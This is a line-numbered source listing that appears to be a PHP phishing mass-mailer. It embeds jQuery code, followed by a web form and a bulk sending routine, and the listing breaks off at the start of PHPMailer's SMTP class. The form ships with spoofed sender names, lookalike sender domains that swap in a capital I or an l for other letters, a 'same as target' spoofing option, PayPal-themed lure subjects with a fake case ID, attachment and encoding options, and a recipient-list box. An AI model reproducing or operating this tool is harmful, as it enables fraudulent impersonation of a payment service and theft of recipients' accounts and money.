5898 globalEventContext.trigger("ajaxSend", [jqXHR, s])
5899 }
5900 if (s.async && s.timeout > 0) {
5901 timeoutTimer = setTimeout(function() {
5902 jqXHR.abort("timeout")
5903 }, s.timeout)
5904 }
5905 try {
5906 state = 1;
5907 transport.send(requestHeaders, done)
5908 } catch (e) {
5909 if (state < 2) {
5910 done(-1, e)
5911 } else {
5912 throw e;
5913 }
5914 }
5915 }
5916
5917 function done(status, nativeStatusText, responses, headers) {
5918 var isSuccess, success, error, response, modified, statusText = nativeStatusText;
5919 if (state === 2) {
5920 return
5921 }
5922 state = 2;
5923 if (timeoutTimer) {
5924 clearTimeout(timeoutTimer)
5925 }
5926 transport = undefined;
5927 responseHeadersString = headers || "";
5928 jqXHR.readyState = status > 0 ? 4 : 0;
5929 isSuccess = status >= 200 && status < 300 || status === 304;
5930 if (responses) {
5931 response = ajaxHandleResponses(s, jqXHR, responses)
5932 }
5933 response = ajaxConvert(s, response, jqXHR, isSuccess);
5934 if (isSuccess) {
5935 if (s.ifModified) {
5936 modified = jqXHR.getResponseHeader("Last-Modified");
5937 if (modified) {
5938 jQuery.lastModified[cacheURL] = modified
5939 }
5940 modified = jqXHR.getResponseHeader("etag");
5941 if (modified) {
5942 jQuery.etag[cacheURL] = modified
5943 }
5944 }
5945 if (status === 204 || s.type === "HEAD") {
5946 statusText = "nocontent"
5947 } else if (status === 304) {
5948 statusText = "notmodified"
5949 } else {
5950 statusText = response.state;
5951 success = response.data;
5952 error = response.error;
5953 isSuccess = !error
5954 }
5955 } else {
5956 error = statusText;
5957 if (status || !statusText) {
5958 statusText = "error";
5959 if (status < 0) {
5960 status = 0
5961 }
5962 }
5963 }
5964 jqXHR.status = status;
5965 jqXHR.statusText = (nativeStatusText || statusText) + "";
5966 if (isSuccess) {
5967 deferred.resolveWith(callbackContext, [success, statusText, jqXHR])
5968 } else {
5969 deferred.rejectWith(callbackContext, [jqXHR, statusText, error])
5970 }
5971 jqXHR.statusCode(statusCode);
5972 statusCode = undefined;
5973 if (fireGlobals) {
5974 globalEventContext.trigger(isSuccess ? "ajaxSuccess" : "ajaxError", [jqXHR, s, isSuccess ? success : error])
5975 }
5976 completeDeferred.fireWith(callbackContext, [jqXHR, statusText]);
5977 if (fireGlobals) {
5978 globalEventContext.trigger("ajaxComplete", [jqXHR, s]);
5979 if (!(--jQuery.active)) {
5980 jQuery.event.trigger("ajaxStop")
5981 }
5982 }
5983 }
5984 return jqXHR
5985 },
5986 getJSON: function(url, data, callback) {
5987 return jQuery.get(url, data, callback, "json")
5988 },
5989 getScript: function(url, callback) {
5990 return jQuery.get(url, undefined, callback, "script")
5991 }
5992 });
5993 jQuery.each(["get", "post"], function(i, method) {
5994 jQuery[method] = function(url, data, callback, type) {
5995 if (jQuery.isFunction(data)) {
5996 type = type || callback;
5997 callback = data;
5998 data = undefined
5999 }
6000 return jQuery.ajax({
6001 url: url,
6002 type: method,
6003 dataType: type,
6004 data: data,
6005 success: callback
6006 })
6007 }
6008 });
6009 jQuery._evalUrl = function(url) {
6010 return jQuery.ajax({
6011 url: url,
6012 type: "GET",
6013 dataType: "script",
6014 async: false,
6015 global: false,
6016 "throws": true
6017 })
6018 };
6019 jQuery.fn.extend({
6020 wrapAll: function(html) {
6021 if (jQuery.isFunction(html)) {
6022 return this.each(function(i) {
6023 jQuery(this).wrapAll(html.call(this, i))
6024 })
6025 }
6026 if (this[0]) {
6027 var wrap = jQuery(html, this[0].ownerDocument).eq(0).clone(true);
6028 if (this[0].parentNode) {
6029 wrap.insertBefore(this[0])
6030 }
6031 wrap.map(function() {
6032 var elem = this;
6033 while (elem.firstChild && elem.firstChild.nodeType === 1) {
6034 elem = elem.firstChild
6035 }
6036 return elem
6037 }).append(this)
6038 }
6039 return this
6040 },
6041 wrapInner: function(html) {
6042 if (jQuery.isFunction(html)) {
6043 return this.each(function(i) {
6044 jQuery(this).wrapInner(html.call(this, i))
6045 })
6046 }
6047 return this.each(function() {
6048 var self = jQuery(this),
6049 contents = self.contents();
6050 if (contents.length) {
6051 contents.wrapAll(html)
6052 } else {
6053 self.append(html)
6054 }
6055 })
6056 },
6057 wrap: function(html) {
6058 var isFunction = jQuery.isFunction(html);
6059 return this.each(function(i) {
6060 jQuery(this).wrapAll(isFunction ? html.call(this, i) : html)
6061 })
6062 },
6063 unwrap: function() {
6064 return this.parent().each(function() {
6065 if (!jQuery.nodeName(this, "body")) {
6066 jQuery(this).replaceWith(this.childNodes)
6067 }
6068 }).end()
6069 }
6070 });
6071 jQuery.expr.filters.hidden = function(elem) {
6072 return elem.offsetWidth <= 0 && elem.offsetHeight <= 0 || (!support.reliableHiddenOffsets() && ((elem.style && elem.style.display) || jQuery.css(elem, "display")) === "none")
6073 };
6074 jQuery.expr.filters.visible = function(elem) {
6075 return !jQuery.expr.filters.hidden(elem)
6076 };
6077 var r20 = /%20/g,
6078 rbracket = /\[\]$/,
6079 rCRLF = /\r?\n/g,
6080 rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
6081 rsubmittable = /^(?:input|select|textarea|keygen)/i;
6082
6083 function buildParams(prefix, obj, traditional, add) {
6084 var name;
6085 if (jQuery.isArray(obj)) {
6086 jQuery.each(obj, function(i, v) {
6087 if (traditional || rbracket.test(prefix)) {
6088 add(prefix, v)
6089 } else {
6090 buildParams(prefix + "[" + (typeof v === "object" ? i : "") + "]", v, traditional, add)
6091 }
6092 })
6093 } else if (!traditional && jQuery.type(obj) === "object") {
6094 for (name in obj) {
6095 buildParams(prefix + "[" + name + "]", obj[name], traditional, add)
6096 }
6097 } else {
6098 add(prefix, obj)
6099 }
6100 }
6101 jQuery.param = function(a, traditional) {
6102 var prefix, s = [],
6103 add = function(key, value) {
6104 value = jQuery.isFunction(value) ? value() : (value == null ? "" : value);
6105 s[s.length] = encodeURIComponent(key) + "=" + encodeURIComponent(value)
6106 };
6107 if (traditional === undefined) {
6108 traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional
6109 }
6110 if (jQuery.isArray(a) || (a.jquery && !jQuery.isPlainObject(a))) {
6111 jQuery.each(a, function() {
6112 add(this.name, this.value)
6113 })
6114 } else {
6115 for (prefix in a) {
6116 buildParams(prefix, a[prefix], traditional, add)
6117 }
6118 }
6119 return s.join("&").replace(r20, "+")
6120 };
6121 jQuery.fn.extend({
6122 serialize: function() {
6123 return jQuery.param(this.serializeArray())
6124 },
6125 serializeArray: function() {
6126 return this.map(function() {
6127 var elements = jQuery.prop(this, "elements");
6128 return elements ? jQuery.makeArray(elements) : this
6129 }).filter(function() {
6130 var type = this.type;
6131 return this.name && !jQuery(this).is(":disabled") && rsubmittable.test(this.nodeName) && !rsubmitterTypes.test(type) && (this.checked || !rcheckableType.test(type))
6132 }).map(function(i, elem) {
6133 var val = jQuery(this).val();
6134 return val == null ? null : jQuery.isArray(val) ? jQuery.map(val, function(val) {
6135 return {
6136 name: elem.name,
6137 value: val.replace(rCRLF, "\r\n")
6138 }
6139 }) : {
6140 name: elem.name,
6141 value: val.replace(rCRLF, "\r\n")
6142 }
6143 }).get()
6144 }
6145 });
6146 jQuery.ajaxSettings.xhr = window.ActiveXObject !== undefined ? function() {
6147 return !this.isLocal && /^(get|post|head|put|delete|options)$/i.test(this.type) && createStandardXHR() || createActiveXHR()
6148 } : createStandardXHR;
6149 var xhrId = 0,
6150 xhrCallbacks = {},
6151 xhrSupported = jQuery.ajaxSettings.xhr();
6152 if (window.attachEvent) {
6153 window.attachEvent("onunload", function() {
6154 for (var key in xhrCallbacks) {
6155 xhrCallbacks[key](undefined, true)
6156 }
6157 })
6158 }
6159 support.cors = !!xhrSupported && ("withCredentials" in xhrSupported);
6160 xhrSupported = support.ajax = !!xhrSupported;
6161 if (xhrSupported) {
6162 jQuery.ajaxTransport(function(options) {
6163 if (!options.crossDomain || support.cors) {
6164 var callback;
6165 return {
6166 send: function(headers, complete) {
6167 var i, xhr = options.xhr(),
6168 id = ++xhrId;
6169 xhr.open(options.type, options.url, options.async, options.username, options.password);
6170 if (options.xhrFields) {
6171 for (i in options.xhrFields) {
6172 xhr[i] = options.xhrFields[i]
6173 }
6174 }
6175 if (options.mimeType && xhr.overrideMimeType) {
6176 xhr.overrideMimeType(options.mimeType)
6177 }
6178 if (!options.crossDomain && !headers["X-Requested-With"]) {
6179 headers["X-Requested-With"] = "XMLHttpRequest"
6180 }
6181 for (i in headers) {
6182 if (headers[i] !== undefined) {
6183 xhr.setRequestHeader(i, headers[i] + "")
6184 }
6185 }
6186 xhr.send((options.hasContent && options.data) || null);
6187 callback = function(_, isAbort) {
6188 var status, statusText, responses;
6189 if (callback && (isAbort || xhr.readyState === 4)) {
6190 delete xhrCallbacks[id];
6191 callback = undefined;
6192 xhr.onreadystatechange = jQuery.noop;
6193 if (isAbort) {
6194 if (xhr.readyState !== 4) {
6195 xhr.abort()
6196 }
6197 } else {
6198 responses = {};
6199 status = xhr.status;
6200 if (typeof xhr.responseText === "string") {
6201 responses.text = xhr.responseText
6202 }
6203 try {
6204 statusText = xhr.statusText
6205 } catch (e) {
6206 statusText = ""
6207 }
6208 if (!status && options.isLocal && !options.crossDomain) {
6209 status = responses.text ? 200 : 404
6210 } else if (status === 1223) {
6211 status = 204
6212 }
6213 }
6214 }
6215 if (responses) {
6216 complete(status, statusText, responses, xhr.getAllResponseHeaders())
6217 }
6218 };
6219 if (!options.async) {
6220 callback()
6221 } else if (xhr.readyState === 4) {
6222 setTimeout(callback)
6223 } else {
6224 xhr.onreadystatechange = xhrCallbacks[id] = callback
6225 }
6226 },
6227 abort: function() {
6228 if (callback) {
6229 callback(undefined, true)
6230 }
6231 }
6232 }
6233 }
6234 })
6235 }
6236 function createStandardXHR() {
6237 try {
6238 return new window.XMLHttpRequest()
6239 } catch (e) {}
6240 }
6241
6242 function createActiveXHR() {
6243 try {
6244 return new window.ActiveXObject("Microsoft.XMLHTTP")
6245 } catch (e) {}
6246 }
6247 jQuery.ajaxSetup({
6248 accepts: {
6249 script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
6250 },
6251 contents: {
6252 script: /(?:java|ecma)script/
6253 },
6254 converters: {
6255 "text script": function(text) {
6256 jQuery.globalEval(text);
6257 return text
6258 }
6259 }
6260 });
6261 jQuery.ajaxPrefilter("script", function(s) {
6262 if (s.cache === undefined) {
6263 s.cache = false
6264 }
6265 if (s.crossDomain) {
6266 s.type = "GET";
6267 s.global = false
6268 }
6269 });
6270 jQuery.ajaxTransport("script", function(s) {
6271 if (s.crossDomain) {
6272 var script, head = document.head || jQuery("head")[0] || document.documentElement;
6273 return {
6274 send: function(_, callback) {
6275 script = document.createElement("script");
6276 script.async = true;
6277 if (s.scriptCharset) {
6278 script.charset = s.scriptCharset
6279 }
6280 script.src = s.url;
6281 script.onload = script.onreadystatechange = function(_, isAbort) {
6282 if (isAbort || !script.readyState || /loaded|complete/.test(script.readyState)) {
6283 script.onload = script.onreadystatechange = null;
6284 if (script.parentNode) {
6285 script.parentNode.removeChild(script)
6286 }
6287 script = null;
6288 if (!isAbort) {
6289 callback(200, "success")
6290 }
6291 }
6292 };
6293 head.insertBefore(script, head.firstChild)
6294 },
6295 abort: function() {
6296 if (script) {
6297 script.onload(undefined, true)
6298 }
6299 }
6300 }
6301 }
6302 });
6303 var oldCallbacks = [],
6304 rjsonp = /(=)\?(?=&|$)|\?\?/;
6305 jQuery.ajaxSetup({
6306 jsonp: "callback",
6307 jsonpCallback: function() {
6308 var callback = oldCallbacks.pop() || (jQuery.expando + "_" + (nonce++));
6309 this[callback] = true;
6310 return callback
6311 }
6312 });
6313 jQuery.ajaxPrefilter("json jsonp", function(s, originalSettings, jqXHR) {
6314 var callbackName, overwritten, responseContainer, jsonProp = s.jsonp !== false && (rjsonp.test(s.url) ? "url" : typeof s.data === "string" && !(s.contentType || "").indexOf("application/x-www-form-urlencoded") && rjsonp.test(s.data) && "data");
6315 if (jsonProp || s.dataTypes[0] === "jsonp") {
6316 callbackName = s.jsonpCallback = jQuery.isFunction(s.jsonpCallback) ? s.jsonpCallback() : s.jsonpCallback;
6317 if (jsonProp) {
6318 s[jsonProp] = s[jsonProp].replace(rjsonp, "$1" + callbackName)
6319 } else if (s.jsonp !== false) {
6320 s.url += (rquery.test(s.url) ? "&" : "?") + s.jsonp + "=" + callbackName
6321 }
6322 s.converters["script json"] = function() {
6323 if (!responseContainer) {
6324 jQuery.error(callbackName + " was not called")
6325 }
6326 return responseContainer[0]
6327 };
6328 s.dataTypes[0] = "json";
6329 overwritten = window[callbackName];
6330 window[callbackName] = function() {
6331 responseContainer = arguments
6332 };
6333 jqXHR.always(function() {
6334 window[callbackName] = overwritten;
6335 if (s[callbackName]) {
6336 s.jsonpCallback = originalSettings.jsonpCallback;
6337 oldCallbacks.push(callbackName)
6338 }
6339 if (responseContainer && jQuery.isFunction(overwritten)) {
6340 overwritten(responseContainer[0])
6341 }
6342 responseContainer = overwritten = undefined
6343 });
6344 return "script"
6345 }
6346 });
6347 jQuery.parseHTML = function(data, context, keepScripts) {
6348 if (!data || typeof data !== "string") {
6349 return null
6350 }
6351 if (typeof context === "boolean") {
6352 keepScripts = context;
6353 context = false
6354 }
6355 context = context || document;
6356 var parsed = rsingleTag.exec(data),
6357 scripts = !keepScripts && [];
6358 if (parsed) {
6359 return [context.createElement(parsed[1])]
6360 }
6361 parsed = jQuery.buildFragment([data], context, scripts);
6362 if (scripts && scripts.length) {
6363 jQuery(scripts).remove()
6364 }
6365 return jQuery.merge([], parsed.childNodes)
6366 };
6367 var _load = jQuery.fn.load;
6368 jQuery.fn.load = function(url, params, callback) {
6369 if (typeof url !== "string" && _load) {
6370 return _load.apply(this, arguments)
6371 }
6372 var selector, response, type, self = this,
6373 off = url.indexOf(" ");
6374 if (off >= 0) {
6375 selector = jQuery.trim(url.slice(off, url.length));
6376 url = url.slice(0, off)
6377 }
6378 if (jQuery.isFunction(params)) {
6379 callback = params;
6380 params = undefined
6381 } else if (params && typeof params === "object") {
6382 type = "POST"
6383 }
6384 if (self.length > 0) {
6385 jQuery.ajax({
6386 url: url,
6387 type: type,
6388 dataType: "html",
6389 data: params
6390 }).done(function(responseText) {
6391 response = arguments;
6392 self.html(selector ? jQuery("<div>").append(jQuery.parseHTML(responseText)).find(selector) : responseText)
6393 }).complete(callback && function(jqXHR, status) {
6394 self.each(callback, response || [jqXHR.responseText, status, jqXHR])
6395 })
6396 }
6397 return this
6398 };
6399 jQuery.each(["ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend"], function(i, type) {
6400 jQuery.fn[type] = function(fn) {
6401 return this.on(type, fn)
6402 }
6403 });
6404 jQuery.expr.filters.animated = function(elem) {
6405 return jQuery.grep(jQuery.timers, function(fn) {
6406 return elem === fn.elem
6407 }).length
6408 };
6409 var docElem = window.document.documentElement;
6410
6411 function getWindow(elem) {
6412 return jQuery.isWindow(elem) ? elem : elem.nodeType === 9 ? elem.defaultView || elem.parentWindow : false
6413 }
6414 jQuery.offset = {
6415 setOffset: function(elem, options, i) {
6416 var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition, position = jQuery.css(elem, "position"),
6417 curElem = jQuery(elem),
6418 props = {};
6419 if (position === "static") {
6420 elem.style.position = "relative"
6421 }
6422 curOffset = curElem.offset();
6423 curCSSTop = jQuery.css(elem, "top");
6424 curCSSLeft = jQuery.css(elem, "left");
6425 calculatePosition = (position === "absolute" || position === "fixed") && jQuery.inArray("auto", [curCSSTop, curCSSLeft]) > -1;
6426 if (calculatePosition) {
6427 curPosition = curElem.position();
6428 curTop = curPosition.top;
6429 curLeft = curPosition.left
6430 } else {
6431 curTop = parseFloat(curCSSTop) || 0;
6432 curLeft = parseFloat(curCSSLeft) || 0
6433 }
6434 if (jQuery.isFunction(options)) {
6435 options = options.call(elem, i, curOffset)
6436 }
6437 if (options.top != null) {
6438 props.top = (options.top - curOffset.top) + curTop
6439 }
6440 if (options.left != null) {
6441 props.left = (options.left - curOffset.left) + curLeft
6442 }
6443 if ("using" in options) {
6444 options.using.call(elem, props)
6445 } else {
6446 curElem.css(props)
6447 }
6448 }
6449 };
6450 jQuery.fn.extend({
6451 offset: function(options) {
6452 if (arguments.length) {
6453 return options === undefined ? this : this.each(function(i) {
6454 jQuery.offset.setOffset(this, options, i)
6455 })
6456 }
6457 var docElem, win, box = {
6458 top: 0,
6459 left: 0
6460 },
6461 elem = this[0],
6462 doc = elem && elem.ownerDocument;
6463 if (!doc) {
6464 return
6465 }
6466 docElem = doc.documentElement;
6467 if (!jQuery.contains(docElem, elem)) {
6468 return box
6469 }
6470 if (typeof elem.getBoundingClientRect !== strundefined) {
6471 box = elem.getBoundingClientRect()
6472 }
6473 win = getWindow(doc);
6474 return {
6475 top: box.top + (win.pageYOffset || docElem.scrollTop) - (docElem.clientTop || 0),
6476 left: box.left + (win.pageXOffset || docElem.scrollLeft) - (docElem.clientLeft || 0)
6477 }
6478 },
6479 position: function() {
6480 if (!this[0]) {
6481 return
6482 }
6483 var offsetParent, offset, parentOffset = {
6484 top: 0,
6485 left: 0
6486 },
6487 elem = this[0];
6488 if (jQuery.css(elem, "position") === "fixed") {
6489 offset = elem.getBoundingClientRect()
6490 } else {
6491 offsetParent = this.offsetParent();
6492 offset = this.offset();
6493 if (!jQuery.nodeName(offsetParent[0], "html")) {
6494 parentOffset = offsetParent.offset()
6495 }
6496 parentOffset.top += jQuery.css(offsetParent[0], "borderTopWidth", true);
6497 parentOffset.left += jQuery.css(offsetParent[0], "borderLeftWidth", true)
6498 }
6499 return {
6500 top: offset.top - parentOffset.top - jQuery.css(elem, "marginTop", true),
6501 left: offset.left - parentOffset.left - jQuery.css(elem, "marginLeft", true)
6502 }
6503 },
6504 offsetParent: function() {
6505 return this.map(function() {
6506 var offsetParent = this.offsetParent || docElem;
6507 while (offsetParent && (!jQuery.nodeName(offsetParent, "html") && jQuery.css(offsetParent, "position") === "static")) {
6508 offsetParent = offsetParent.offsetParent
6509 }
6510 return offsetParent || docElem
6511 })
6512 }
6513 });
6514 jQuery.each({
6515 scrollLeft: "pageXOffset",
6516 scrollTop: "pageYOffset"
6517 }, function(method, prop) {
6518 var top = /Y/.test(prop);
6519 jQuery.fn[method] = function(val) {
6520 return access(this, function(elem, method, val) {
6521 var win = getWindow(elem);
6522 if (val === undefined) {
6523 return win ? (prop in win) ? win[prop] : win.document.documentElement[method] : elem[method]
6524 }
6525 if (win) {
6526 win.scrollTo(!top ? val : jQuery(win).scrollLeft(), top ? val : jQuery(win).scrollTop())
6527 } else {
6528 elem[method] = val
6529 }
6530 }, method, val, arguments.length, null)
6531 }
6532 });
6533 jQuery.each(["top", "left"], function(i, prop) {
6534 jQuery.cssHooks[prop] = addGetHookIf(support.pixelPosition, function(elem, computed) {
6535 if (computed) {
6536 computed = curCSS(elem, prop);
6537 return rnumnonpx.test(computed) ? jQuery(elem).position()[prop] + "px" : computed
6538 }
6539 })
6540 });
6541 jQuery.each({
6542 Height: "height",
6543 Width: "width"
6544 }, function(name, type) {
6545 jQuery.each({
6546 padding: "inner" + name,
6547 content: type,
6548 "": "outer" + name
6549 }, function(defaultExtra, funcName) {
6550 jQuery.fn[funcName] = function(margin, value) {
6551 var chainable = arguments.length && (defaultExtra || typeof margin !== "boolean"),
6552 extra = defaultExtra || (margin === true || value === true ? "margin" : "border");
6553 return access(this, function(elem, type, value) {
6554 var doc;
6555 if (jQuery.isWindow(elem)) {
6556 return elem.document.documentElement["client" + name]
6557 }
6558 if (elem.nodeType === 9) {
6559 doc = elem.documentElement;
6560 return Math.max(elem.body["scroll" + name], doc["scroll" + name], elem.body["offset" + name], doc["offset" + name], doc["client" + name])
6561 }
6562 return value === undefined ? jQuery.css(elem, type, extra) : jQuery.style(elem, type, value, extra)
6563 }, type, chainable ? margin : undefined, chainable, null)
6564 }
6565 })
6566 });
6567 jQuery.fn.size = function() {
6568 return this.length
6569 };
6570 jQuery.fn.andSelf = jQuery.fn.addBack;
6571 if (typeof define === "function" && define.amd) {
6572 define("jquery", [], function() {
6573 return jQuery
6574 })
6575 }
6576 var _jQuery = window.jQuery,
6577 _$ = window.$;
6578 jQuery.noConflict = function(deep) {
6579 if (window.$ === jQuery) {
6580 window.$ = _$
6581 }
6582 if (deep && window.jQuery === jQuery) {
6583 window.jQuery = _jQuery
6584 }
6585 return jQuery
6586 };
6587 if (typeof noGlobal === strundefined) {
6588 window.jQuery = window.$ = jQuery
6589 }
6590 return jQuery
6591 }));
6592 </script>
6593 </div>
6594 <div class="col-sm-4" style="padding-left: 7.5px !important;">
6595 <div style="margin-bottom: 10px" class="input-group">
6596 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i><b> Content Type</b></span>
6597 <select class="form-control" name="type">
6598 <option value="html" <?php if ($type=='html'){echo 'selected';}?> >text/html</option>
6599 <option value="plain" <?php if ($type=='plain'){echo 'selected';}?> >text/plain</option>
6600 </select>
6601 </div>
6602 <div style="margin-bottom: 10px" class="input-group">
6603 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
6604 <select class="form-control" onChange="Pilih4(this);">
6605 <option value="">No X-Mailer</option>
6606 <option value="Gleez CMS 0.10.5">Gleez CMS 0.10.5</option>
6607 <option value="Gleez CMS 1.1.6">Gleez CMS 1.1.6</option>
6608 <option value="EDMAIL R6.00.02">EDMAIL R6.00.02</option>
6609 <option value="PHP/<?php echo(phpversion());?>">PHP/<?php echo(phpversion());?></option>
6610 </select>
6611 <input id="xmailer" type="text" class="form-control" name="xmailer" value="<?php echo $xmailer;?>" placeholder="X-Mailer">
6612 </div>
6613 </div>
6614 </div>
6615
6616 <div class="col-sm-8" style="padding-right: 7.5px !important;">
6617
6618 <div style="margin-bottom: 10px" class="input-group">
6619 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
6620 <select class="form-control" onChange="Pilih1(this);">
6621 <option value="">Select Sender Name</option>
6622 <option value="Service">Service</option>
6623 <option value="Service.lnc">Service.lnc</option>
6624 <option value="Support.lnc">Support.lnc</option>
6625 <option value="Service_lnc">Service_lnc</option>
6626 <option value="Support_lnc">Support_lnc</option>
6627 <option value="Help">Help</option>
6628 <option value="Review Department">Review Department</option>
6629 <option value="Costumer Service">Costumer Service</option>
6630 <option value="Support">Support</option>
6631 <option value="lnfo">lnfo</option>
6632 <option value="Center.Help">Center.Help</option>
6633 </select>
6634 <input id="sender-name" type="text" class="form-control" name="nama" value="<?php echo $nama;?>" placeholder="Sender Name">
6635 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
6636 <select class="form-control kanan" onChange="Pilih2(this);">
6637 <option value="">Select Sender Email</option>
6638 <option value="service@intI.care.com">service@intI.care.com</option>
6639 <option value="service@lnfo.co.uk">service@lnfo.co.uk</option>
6640 <option value="mail@mmp.co.uk">mail@mmp.co.uk</option>
6641 <option value="no-reply@mail.lnc">no-reply@mail.lnc</option>
6642 <option value="admin@managment.lntl">admin@managment.lntl</option>
6643 <option value="service@mailin.care">service@mailin.care</option>
6644 <option value="support@mailin.care">support@mailin.care</option>
6645 <option value="App@managment.Center">App@managment.Center</option>
6646 <option value="help@Support.lnc">help@Support.lnc</option>
6647 <option value="service">support@app.care</option>
6648
6649 <option value="same as target">same as target</option>
6650
6651 </select>
6652 <input id="sender-email" type="text" class="form-control kanan-l" name="mail" value="<?php echo $email;?>" placeholder="Sender Email">
6653 </div>
6654
6655 <div style="margin-bottom: 10px" class="input-group">
6656 <span class="input-group-addon"><i class="glyphicon glyphicon-comment"></i></span>
6657 <select class="form-control kanan" onChange="Pilih3(this);">ge
6658 <option value="">Select Email Subject</option>
6659 <option value="Your account has been Iimited untiI we hear from you">Notice</option>
6660 <option value="We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)">Notification</option>
6661 <option value="We've Iimited access to your PayPaI account">We Need Your Help !</option>
6662 <option value="Account Notification">Notification from review department</option>
6663 <option value="Account Notification">Notice from review department</option>
6664
6665 <option value="Account Notification">Notification from help department</option>
6666 <option value="Account Notification">Notice from help department</option>
6667 <option value="Account Notification">Notice from help Center</option>
6668 <option value="Attention: Your account status change">Notice of change</option>
6669
6670 </select>
6671 <input id="subject" type="text" class="form-control kanan-l" name="subject" value="<?php echo $subject;?>" placeholder="Subject">
6672 </div>
6673
6674 <div style="margin-bottom: 5px" class="input-group">
6675 <span class="input-group-addon"><i class="glyphicon glyphicon-paperclip"></i><b> Attach</b></span>
6676 <input id="attachment" class="form-control" style="padding: 0 !important" type="file" name="file">
6677 <span class="input-group-addon"><i class="glyphicon glyphicon-pencil"></i><b> Encode</b></span>
6678 <select class="form-control" name="encode">
6679 <option value="" <?php if ($encoding==''){echo 'selected';}?> >Select Encoding</option>
6680 <option value="base64" <?php if ($encoding=='base64'){echo 'selected';}?> >base64</option>
6681 <option value="7bit" <?php if ($encoding=='7bit'){echo 'selected';}?> >7bit</option>
6682 <option value="8bit" <?php if ($encoding=='8bit'){echo 'selected';}?> >8bit</option>
6683 <option value="binary" <?php if ($encoding=='binary'){echo 'selected';}?> >binary</option>
6684 <option value="quoted-printable" <?php if ($encoding=='quoted-printable'){echo 'selected';}?> >quoted-printable</option>
6685 </select>
6686 </div>
6687 <div style="margin-bottom: 10px" class="input-group">
6688 <span class="input-group-addon"><i class="glyphicon glyphicon-align-justify"></i></span>
6689 <textarea class="form-control" rows="10" name="pesan" placeholder="Message"><?php echo $pesan;?></textarea>
6690 </div>
6691 <div style="margin-bottom: 7px" class="input-group">
6692 <input type="submit" class="btn btn-success" name="action" value="Sendiiiiii">
6693 <input type="text" name="wait" value="<?php echo $wait;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
6694
6695 </div>
6696
6697 </div>
6698 <div class="col-sm-4" style="padding-left: 7.5px !important;">
6699
6700 <div style="margin-bottom: 10px" class="input-group">
6701 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i><b> Encode Headers</b></span>
6702 <select class="form-control" name="encoding">
6703 <option value="yes" <?php if ($_POST['encoding']=='yes'){echo 'selected';}?> >yes</option>
6704 <option value="no" <?php if ($_POST['encoding']=='no'){echo 'selected';}?> >no</option>
6705 </select>
6706 </div>
6707 <div style="margin-bottom: 10px" class="input-group">
6708 <span class="input-group-addon"><i class="glyphicon glyphicon-list"></i></span>
6709 <textarea class="form-control" rows="18" name="list" placeholder="Email List"><?php echo $emaillist;?></textarea>
6710 </div>
6711
6712 </div>
6713 <div class="form-group">
6714 </div>
6715
6716 </form>
6717
6718 </div>
6719 </div>
6720<?php
6721
6722if ($action){
6723
6724 if (!$from && !$subject && !$message && !$emaillist) {
6725 print "<script>alert('WAAAA SII LEE9LAWI DIIR MAILIST -_-.'); </script>";
6726 die();
6727 }
6728
6729 if ($_POST['encoding']=='yes') {
6730 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
6731 $subject = str_replace(' ', '=20', $subject);
6732 $subject = "=?utf-8?Q?$subject?=";
6733 $nama = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $nama);
6734 $nama = str_replace(' ', '=20', $nama);
6735 $nama = "=?utf-8?Q?$nama?=";
6736 }
6737
6738 $allemails = split("\n", $emaillist);
6739 $numemails = count($allemails);
6740
6741
6742 function xflush()
6743 {
6744 static $output_handler = null;
6745 if ($output_handler === null) {
6746 $output_handler = @ini_get('output_handler');
6747 }
6748 if ($output_handler == 'ob_gzhandler') {
6749 return;
6750 }
6751 flush();
6752 if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
6753 @ob_flush();
6754 } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
6755 @ob_end_flush();
6756 @ob_start();
6757 }
6758 }
6759?>
6760<?php
6761/**
6762 * PHPMailer RFC821 SMTP email transport class.
6763 * PHP Version 5
6764 * @package PHPMailer
6765 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
6766 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
6767 * @author Jim Jagielski (jimjag) <>
6768 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
6769 * @author Brent R. Matzelle (original founder)
6770 * @copyright 2014 Marcus Bointon
6771 * @copyright 2010 - 2012 Jim Jagielski
6772 * @copyright 2004 - 2009 Andy Prevost
6773 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
6774 * @note This program is distributed in the hope that it will be useful - WITHOUT
6775 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
6776 * FITNESS FOR A PARTICULAR PURPOSE.
6777 */
6778
6779/**
6780 * PHPMailer RFC821 SMTP email transport class.
6781 * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
6782 * @package PHPMailer
6783 * @author Chris Ryan
6784 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
6785 */
6786class SMTP
6787{
6788 /**
6789 * The PHPMailer SMTP version number.
6790 * @type string
6791 */
6792 const VERSION = '5.2.9';
6793
6794 /**
6795 * SMTP line break constant.
6796 * @type string
6797 */
6798 const CRLF = "\r\n";
6799
6800 /**
6801 * The SMTP port to use if one is not specified.
6802 * @type integer
6803 */
6804 const DEFAULT_SMTP_PORT = 25;
6805
6806 /**
6807 * The maximum line length allowed by RFC 2822 section 2.1.1
6808 * @type integer
6809 */
6810 const MAX_LINE_LENGTH = 998;
6811
6812 /**
6813 * Debug level for no output
6814 */
6815 const DEBUG_OFF = 0;
6816
6817 /**
6818 * Debug level to show client -> server messages
6819 */
6820 const DEBUG_CLIENT = 1;
6821
6822 /**
